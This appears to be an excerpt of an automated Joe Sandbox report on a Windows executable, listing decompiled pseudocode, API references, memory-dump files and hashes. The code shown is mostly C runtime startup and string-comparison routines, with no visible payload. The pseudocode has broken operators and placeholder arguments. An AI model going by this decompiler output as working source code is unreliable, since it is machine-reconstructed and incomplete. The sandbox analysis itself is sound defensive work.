										_t117 = _t117 - 0xc;
									}
									L003F5660(_t73, _t99, _t105);
									_v144 = 0x3f5990;
									_t46 = SetUnhandledExceptionFilter(??);
									_t118 = _t117 - 4;
									 *0x513078 = _t46;
									 *_t118 = 0x3e1000;
									_t48 = L003F5490(L00403CB0());
									 *0x513ab8 = 0x3e0000;
									L00404268();
									_t84 = 0;
									_t49 =  *_t48;
									if(_t49 != 0) {
										while(1) {
											L18:
											_t91 =  *_t49 & 0x000000ff;
											if(_t91 <= 0x20) {
												goto L14;
											}
											L19:
											_t84 =  ==  ? _t84 ^ 0x00000001 : _t84;
											L17:
											_t49 =  &(_t49[1]);
											L18:
											_t91 =  *_t49 & 0x000000ff;
											if(_t91 <= 0x20) {
												goto L14;
											}
											goto L19;
											L14:
											if(_t91 == 0 || (_t84 & 0x00000001) == 0) {
												L20:
												if(_t91 != 0) {
													while(1) {
														L23:
														_t49 =  &(_t49[1]);
														_t92 =  *_t49 & 0x000000ff;
														if(_t92 == 0) {
															break;
														}
														L22:
														if(_t92 > 0x20) {
															break;
														}
													}
													L24:
													 *0x513abc = _t49;
													goto L25;
												}
												L21:
												goto L24;
											} else {
												L16:
												_t84 = 1;
												goto L17;
											}
										}
									} else {
										L13:
										L25:
										if( *0x513060 != 0) {
											_t66 = 0xa;
											if((_v56 & 0x00000001) != 0) {
												_t66 = _v52 & 0x0000ffff;
											}
											 *0x4a1000 = _t66;
										}
										_t75 =  *0x51301c;
										_t106 = 4 + _t75 * 4;
										 *_t118 = _t106;
										_t50 = malloc(??);
										_t93 =  *0x513018;
										_v120 = _t50;
										if(_t75 <= 0) {
											L43:
											_t51 = _v120;
											goto L33;
										} else {
											L30:
											_t78 = _t50;
											_t15 = _t106 - 4; // 0x74cb648c
											_t59 = _t15;
											_t102 = _t93;
											_v124 = _t59;
											_v116 = _t59 + _t93;
											do {
												L31:
												_t61 =  *_t102;
												_t78 = _t78 + 4;
												_t102 =  &(_t102[1]);
												 *_t118 = _t61;
												_t18 = strlen(??) + 1; // 0x1
												_t109 = _t18;
												 *_t118 = _t109;
												_t63 = malloc(??);
												 *(_t78 - 4) = _t63;
												_v140 = _t109;
												_v144 =  *((intOrPtr*)(_t102 - 4));
												 *_t118 = _t63;
												memcpy(??, ??, ??);
											} while (_v116 != _t102);
											_t51 = _v124 + _v120;
											L33:
											 *_t51 = 0;
											 *0x513018 = _v120;
											E003F52F0();
											_t54 =  *0x513014;
											 *__imp____initenv = _t54;
											_v140 = _t54;
											_v144 =  *0x513018;
											 *_t118 =  *0x51301c; // executed
											_t57 = L003EC2E9(_t75, _t99); // executed
											 *0x513010 = _t57;
											if( *0x51300c == 0) {
												L44:
												 *_t118 = _t57; // executed
												exit(??); // executed
												 *0x513060 = 1;
												goto L0;
											}
											L34:
											if( *0x513008 == 0) {
												L00404298();
												return  *0x513010;
											} else {
												return _t57;
											}
										}
									}
								}
							}
							L37:
							_v144 = 0x1f;
							L00404290();
							if( *0x513ac0 != 1) {
								goto L9;
							}
							goto L38;
						}
						L3:
						_v144 = 0x3e8;
						 *_t105();
						_t117 = _t117 - 4;
					}
					L5:
					_t73 = 0;
					if( *0x513ac0 == 1) {
						goto L37;
					}
					goto L6;
				}
			}

0x003e1150
0x003e1150
0x003e1150
0x003e1150
0x003e1159
0x003e1161
0x003e1167
0x003e1176
0x003e1176
0x003e117a
0x003e1413
0x003e1419
0x003e1419
0x003e1188
0x003e118b
0x003e11a7
0x003e11a7
0x003e11a9
0x003e11b3
0x00000000
0x00000000
0x003e1193
0x003e1195
0x003e13b0
0x003e13b5
0x003e13bd
0x003e11c5
0x003e11cc
0x003e1440
0x003e1448
0x003e144f
0x003e1459
0x003e11d2
0x003e11d2
0x003e11d2
0x003e11e4
0x003e13dd
0x003e13dd
0x003e13e5
0x003e13ec
0x003e13f1
0x003e13fd
0x00000000
0x00000000
0x00000000
0x003e11ea
0x003e11ea
0x003e11ec
0x003e1403
0x003e1403
0x003e1403
0x003e1403
0x003e1403
0x003e11f2
0x003e11f2
0x003e11f9
0x003e11fb
0x003e1203
0x003e120b
0x003e1212
0x003e1214
0x003e1214
0x003e1217
0x003e121c
0x003e1223
0x003e1229
0x003e122c
0x003e1231
0x003e123d
0x003e1242
0x003e124c
0x003e1251
0x003e1253
0x003e1257
0x003e1271
0x003e1271
0x003e1271
0x003e1277
0x00000000
0x00000000
0x003e1279
0x003e1281
0x003e126e
0x003e126e
0x003e1271
0x003e1271
0x003e1277
0x00000000
0x00000000
0x00000000
0x003e1260
0x003e1262
0x003e1290
0x003e1292
0x003e12a5
0x003e12a5
0x003e12a5
0x003e12a8
0x003e12ad
0x00000000
0x00000000
0x003e12a0
0x003e12a3
0x00000000
0x00000000
0x003e12a3
0x003e12af
0x003e12af
0x00000000
0x003e12af
0x003e1294
0x00000000
0x003e1269
0x003e1269
0x003e1269
0x00000000
0x003e1269
0x003e1262
0x003e1259
0x003e1259
0x003e12b4
0x003e12bc
0x003e12be
0x003e12c7
0x003e12c9
0x003e12c9
0x003e12cd
0x003e12cd
0x003e12d2
0x003e12d8
0x003e12df
0x003e12e2
0x003e12e7
0x003e12ed
0x003e12f2
0x003e1463
0x003e1463
0x00000000
0x003e12f8
0x003e12f8
0x003e12f8
0x003e12fa
0x003e12fa
0x003e12fd
0x003e12ff
0x003e1304
0x003e1310
0x003e1310
0x003e1310
0x003e1312
0x003e1315
0x003e1318
0x003e1320
0x003e1320
0x003e1323
0x003e1326
0x003e132b
0x003e1331
0x003e1335
0x003e1339
0x003e133c
0x003e1341
0x003e1349
0x003e134c
0x003e134c
0x003e1355
0x003e135a
0x003e135f
0x003e136a
0x003e136c
0x003e1375
0x003e137e
0x003e1381
0x003e138c
0x003e1393
0x003e146b
0x003e146b
0x003e146e
0x003e1480
0x00000000
0x003e1480
0x003e1399
0x003e13a1
0x003e1421
0x003e1436
0x003e13a3
0x003e13ae
0x003e13ae
0x003e13a1
0x003e12f2
0x003e1257
0x003e11e4
0x003e13c3
0x003e13c3
0x003e13ca
0x003e13d7
0x00000000
0x00000000
0x00000000
0x003e13d7
0x003e119b
0x003e119b
0x003e11a2
0x003e11a4
0x003e11a4
0x003e11b5
0x003e11ba
0x003e11bf
0x00000000
0x00000000
0x00000000
0x003e11bf

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 003E1223
__p__acmdln.MSVCRT ref: 003E124C
malloc.MSVCRT ref: 003E12E2
strlen.MSVCRT ref: 003E131B
malloc.MSVCRT ref: 003E1326
memcpy.MSVCRT ref: 003E133C
_amsg_exit.MSVCRT ref: 003E13CA
_initterm.MSVCRT ref: 003E13EC
_initterm.MSVCRT ref: 003E1459

Strings

pS?, xrefs: 003E11F2

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: _inittermmalloc$ExceptionFilterUnhandled__p__acmdln_amsg_exitmemcpystrlen
String ID: pS?
API String ID: 760028103-2353042152
Opcode ID: 543eae48eaa5a03f7ca9f7f78ec89854f9e8fc67f2c60c227dfe53d1038a83f8
Instruction ID: 08176d0ede5bdf212fdda140401a7d01058245ceb2558b1c1166cb58d21729f5
Opcode Fuzzy Hash: 543eae48eaa5a03f7ca9f7f78ec89854f9e8fc67f2c60c227dfe53d1038a83f8
Instruction Fuzzy Hash: 6661AFB1A04250CFDB11DFAAE894799BBF0FF58304F158A2DEA4497390D774DA48DB81

Uniqueness

Uniqueness Score: -1.00%

Function 003E119B Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 003E1223
__p__acmdln.MSVCRT ref: 003E124C
malloc.MSVCRT ref: 003E12E2
strlen.MSVCRT ref: 003E131B
malloc.MSVCRT ref: 003E1326
memcpy.MSVCRT ref: 003E133C
_amsg_exit.MSVCRT ref: 003E13CA
_initterm.MSVCRT ref: 003E13EC
_initterm.MSVCRT ref: 003E1459

Strings

pS?, xrefs: 003E11F2

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: _inittermmalloc$ExceptionFilterUnhandled__p__acmdln_amsg_exitmemcpystrlen
String ID: pS?
API String ID: 760028103-2353042152
Opcode ID: 87465994225b3dde71ed81f7c27e6ac5f2b1fa62fe55dea08fe96089b8b851a3
Instruction ID: e754403f8fcdfad47f51cf62a36dfc748c5d280fc41cdac99b30837361092bca
Opcode Fuzzy Hash: 87465994225b3dde71ed81f7c27e6ac5f2b1fa62fe55dea08fe96089b8b851a3
Instruction Fuzzy Hash: 7E417AB0A042508FDB11EFAAE894799BBF0BB48304F158A2DD984D7390E774DA48DF81

Uniqueness

Uniqueness Score: -1.00%

Function 003E35D2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 003E36E7

Strings

w, xrefs: 003E3670
@, xrefs: 003E36D2

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @$w
API String ID: 544645111-2958184939
Opcode ID: e7cdb43622bc82e72613a68df08c8eed26889ecc646c95bf0bf0e4071902ccec
Instruction ID: 49d429a7179e5b181f2aece54c4047dee9dce999517a9c2fae9ed66b4c4f2e3a
Opcode Fuzzy Hash: e7cdb43622bc82e72613a68df08c8eed26889ecc646c95bf0bf0e4071902ccec
Instruction Fuzzy Hash: A141FC70D092D88EDF11CBFDC446EDEBFF0AF46384F044569D8A4AB25AD2B89608DB11

Uniqueness

Uniqueness Score: -1.00%

Function 003E125C Relevance: 5.1, APIs: 4, Instructions: 89
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 003E12E2
strlen.MSVCRT ref: 003E131B
malloc.MSVCRT ref: 003E1326
memcpy.MSVCRT ref: 003E133C

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 779d00ba2ed107aa45964b965b867e74a0ff09dac4551af12c8323b3c277dd5b
Instruction ID: 79ca392bef9fa887465f4173a184629645046e231e671bbb2e484ae5e2d28bc2
Opcode Fuzzy Hash: 779d00ba2ed107aa45964b965b867e74a0ff09dac4551af12c8323b3c277dd5b
Instruction Fuzzy Hash: 873169B1A043658FCB11DFAAD894399BBF1FB58300F11892EDA4497391E3349A48DF80

Uniqueness

Uniqueness Score: -1.00%

Function 003E1299 Relevance: 5.1, APIs: 4, Instructions: 78
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 003E12E2
strlen.MSVCRT ref: 003E131B
malloc.MSVCRT ref: 003E1326
memcpy.MSVCRT ref: 003E133C

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 5c687bade6f57160beb203dd190d9599e355c112d8ad9793253325b0b366dc13
Instruction ID: 6c27a21f3c58a89d84afade844f7ea304389ed33a64cff5054ee1a54bb4c353c
Opcode Fuzzy Hash: 5c687bade6f57160beb203dd190d9599e355c112d8ad9793253325b0b366dc13
Instruction Fuzzy Hash: B23189B5A04315CFCB11DFAAE884398BBF0FB58300F11852AD94497351E334AA08DF80

Uniqueness

Uniqueness Score: -1.00%

Function 003ED020 Relevance: 1.6, APIs: 1, Instructions: 330
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e0fa838595ccc5f3badb7bad40f24366c9a064ab845deb13e18a5c4b2bd635f
Instruction ID: 7d1f8f085346a46eb206af8d23c48541dd3d40d1f16674ab32b4357ed8835868
Opcode Fuzzy Hash: 6e0fa838595ccc5f3badb7bad40f24366c9a064ab845deb13e18a5c4b2bd635f
Instruction Fuzzy Hash: 39C1C3716002918FDB42DF2AD88072AB7E1BF45304F458669D899CF386D739DD06CF94

Uniqueness

Uniqueness Score: -1.00%

Function 003F6470 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 003F647D

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f611603fe3ee5f8bfc77f4919cdbcc368ca2c1d895d48c44c3e8a0347d152d44
Instruction ID: 9648ba92a8ba072f0746f23188bd5892dcd6b3ceef342659eecf9cd7c4a622ce
Opcode Fuzzy Hash: f611603fe3ee5f8bfc77f4919cdbcc368ca2c1d895d48c44c3e8a0347d152d44
Instruction Fuzzy Hash: 8AC04CB99446409FC700FF6CD6495597BF0BB54200F8585A8E88597315E634D6588E53

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00 Relevance: 1.4, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f673361daf0da6f094f3752b83f5633e0003533aa239b579fb138db039f76b93
Instruction ID: 6d21b8948ae7c6c77338fdc05439e9c24679e946648f0a66a43a062fc613c8dd
Opcode Fuzzy Hash: f673361daf0da6f094f3752b83f5633e0003533aa239b579fb138db039f76b93
Instruction Fuzzy Hash: 25512AB5A087068FDB10EF19E48492BBBF0FB85315F14886ED448AB355E734E944CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00497960 Relevance: 1.3, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00497977

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 3b91fd4ff2fc5a64d8af737f63357cb6c52870862a4dc68e036e88c252a1d062
Instruction ID: ba4165dc20141c6bb9ff2018ff11438446dfdf289e9f63ba8973f1f6b26ff7b8
Opcode Fuzzy Hash: 3b91fd4ff2fc5a64d8af737f63357cb6c52870862a4dc68e036e88c252a1d062
Instruction Fuzzy Hash: EBF03AB06183019ADF007FB6898522FBDE0AF85348F408C3EA589C7252EB7CC940875E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 003FC030 Relevance: 20.9, APIs: 7, Strings: 4, Instructions: 1617stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 003FC03A
strlen.MSVCRT ref: 003FC044

Strings

5, xrefs: 003FC522
!, xrefs: 003FDBFE
, xrefs: 003FD37D
inity, xrefs: 003FD9AF

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: localeconvstrlen
String ID: $!$5$inity
API String ID: 186660782-1328200385
Opcode ID: 8306b0b58cbbda965f94ccdf96e3212a212a5f538b58c626cb1bf5de088f8f94
Instruction ID: 1cfef94753a661fc208f3f8c2c77c30ab6259668a06e06da7043c63ed79a7e62
Opcode Fuzzy Hash: 8306b0b58cbbda965f94ccdf96e3212a212a5f538b58c626cb1bf5de088f8f94
Instruction Fuzzy Hash: 4DF24571A183898FD721DF29C18876ABBE2FF84344F158D2EEA8987351D775E844CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6A0 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0040A6A0(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				char* _t49;
				intOrPtr _t52;
				char _t55;
				void* _t56;
				char* _t57;
				void* _t61;
				char* _t63;
				char* _t66;
				char* _t68;
				char* _t72;
				char* _t74;
				char* _t76;
				char* _t77;
				char* _t78;
				char* _t79;
				void* _t80;
				void* _t81;
				void* _t83;
				void* _t84;
				void* _t86;
				void* _t87;
				void* _t90;
				intOrPtr* _t92;
				char* _t93;
				char _t94;
				char* _t97;
				char* _t99;
				char* _t101;
				char* _t102;
				void* _t103;
				char* _t106;
				char* _t109;
				char* _t112;
				int _t114;
				char* _t117;
				char* _t118;
				char* _t119;
				intOrPtr _t121;
				intOrPtr _t126;
				char* _t127;
				void* _t128;
				void* _t132;
				char** _t133;
				char** _t134;
				char** _t135;
				char** _t136;

				_t92 = __ecx;
				_push(__edi);
				_t133 = _t132 - 0x1c;
				_t126 =  *__ecx;
				_t117 = _t133[0xc];
				_t49 = _t133[0xd];
				_t76 =  *(_t126 - 0xc);
				if(_t76 < _t117) {
					_t133[3] = _t76;
					_t133[2] = _t117;
					_t133[1] = "basic_string::compare";
					 *_t133 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
					L00493530(_t49, __edi, __eflags);
					_push(_t117);
					_push(_t76);
					_t134 = _t133 - 0x14;
					_t52 =  *_t92;
					_t101 = _t134[8];
					_t93 = _t134[9];
					_t77 =  *(_t52 - 0xc);
					_t118 = _t134[0xb];
					__eflags = _t77 - _t101;
					if(__eflags < 0) {
						_t134[3] = _t77;
						_t134[2] = _t101;
						_t134[1] = "basic_string::compare";
						 *_t134 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
						L00493530(_t52, __edi, __eflags);
						_push(__edi);
						_push(_t118);
						_push(_t77);
						_t135 = _t134 - 0x10;
						_t55 =  *_t93;
						_t102 = _t135[8];
						_t94 = _t135[9];
						_t78 =  *(_t55 - 0xc);
						__eflags = _t78 - _t102;
						if(__eflags < 0) {
							_t135[3] = _t78;
							_t135[2] = _t102;
							_t135[1] = "basic_string::compare";
							 *_t135 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
							_t56 = L00493530(_t55, __edi, __eflags);
							0;
							0;
							_push(_t126);
							_push(__edi);
							_push(_t118);
							_push(_t78);
							_t136 = _t135 - 0x1c;
							_t103 =  *_t94;
							_t119 = _t136[0xc];
							_t109 = _t136[0xf];
							_t79 =  *(_t103 - 0xc);
							_t127 = _t136[0x10];
							__eflags = _t79 - _t119;
							if(__eflags < 0) {
								_t136[3] = _t79;
								_t136[2] = _t119;
								_t136[1] = "basic_string::compare";
								 *_t136 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
								_t57 = L00493530(_t56, _t109, __eflags);
								goto L22;
							} else {
								_t94 =  *(_t136[0xe]);
								_t57 =  *(_t94 - 0xc);
								__eflags = _t57 - _t109;
								if(__eflags < 0) {
									L22:
									_t136[3] = _t57;
									_t136[2] = _t109;
									_t136[1] = "basic_string::compare";
									 *_t136 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
									L00493530(_t57, _t109, __eflags);
									0;
									0;
									_t106 =  *(_t136[1]) +  *((intOrPtr*)( *(_t136[1]) - 0xc));
									__eflags = _t106;
									 *_t94 = _t106;
									return _t94;
								} else {
									_t80 = _t79 - _t119;
									__eflags = _t80 - _t136[0xd];
									_t81 =  >  ? _t136[0xd] : _t80;
									_t61 = _t57 - _t109;
									__eflags = _t61 - _t127;
									_t128 =  <=  ? _t61 : _t127;
									__eflags = _t128 - _t81;
									_t63 =  <=  ? _t128 : _t81;
									__eflags = _t63;
									if(_t63 == 0) {
										L19:
										_t63 = _t81 - _t128;
										__eflags = _t63;
									} else {
										_t136[2] = _t63;
										_t136[1] =  &(_t109[_t94]);
										 *_t136 = _t103 + _t119;
										L004043A0();
										__eflags = _t63;
										if(_t63 == 0) {
											goto L19;
										}
									}
									return _t63;
								}
							}
						} else {
							_t83 = _t78 - _t102;
							__eflags = _t83 - _t94;
							_t84 =  >  ? _t94 : _t83;
							_t97 =  *(_t135[0xa]);
							_t121 =  *((intOrPtr*)(_t97 - 0xc));
							__eflags = _t121 - _t84;
							_t112 =  <=  ? _t121 : _t84;
							__eflags = _t112;
							if(_t112 == 0) {
								L13:
								_t66 = _t84 - _t121;
								__eflags = _t66;
							} else {
								_t66 =  &(_t102[_t55]);
								_t135[2] = _t112;
								_t135[1] = _t97;
								 *_t135 = _t66;
								L004043A0();
								__eflags = _t66;
								if(_t66 == 0) {
									goto L13;
								}
							}
							return _t66;
						}
					} else {
						_t86 = _t77 - _t101;
						__eflags = _t86 - _t93;
						_t87 =  >  ? _t93 : _t86;
						__eflags = _t118 - _t87;
						_t99 =  <=  ? _t118 : _t87;
						__eflags = _t99;
						if(_t99 == 0) {
							L8:
							_t68 = _t87 - _t118;
							__eflags = _t68;
						} else {
							_t134[2] = _t99;
							_t68 = _t52 + _t101;
							 *_t134 = _t68;
							_t134[1] = _t134[0xa];
							L004043A0();
							__eflags = _t68;
							if(_t68 == 0) {
								goto L8;
							}
						}
						return _t68;
					}
				} else {
					_t90 =  >  ? _t49 : _t76 - _t117;
					 *_t133 = _t133[0xe];
					_t114 = strlen(??);
					_t72 =  <=  ? _t114 : _t90;
					if(_t72 == 0) {
						L3:
						_t74 = _t90 - _t114;
					} else {
						_t133[2] = _t72;
						_t74 = _t133[0xe];
						 *_t133 = _t126 + _t117;
						_t133[1] = _t74;
						L004043A0();
